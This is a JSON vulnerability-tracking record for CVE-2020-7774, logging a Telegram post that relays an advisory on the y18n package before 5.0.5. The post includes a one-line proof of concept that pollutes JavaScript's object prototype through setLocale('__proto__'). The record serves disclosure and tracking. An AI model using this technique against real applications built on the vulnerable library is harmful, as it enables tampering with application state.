{"vulnerability": "CVE-2020-7774", "sightings": [{"uuid": "2a80aa1f-0099-46c6-ac6e-5b1971a8672e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7774", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/16436", "content": "\u203c CVE-2020-7774 \u203c\n\nThis affects the package y18n before 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-11-17T16:39:02.000000Z"}]}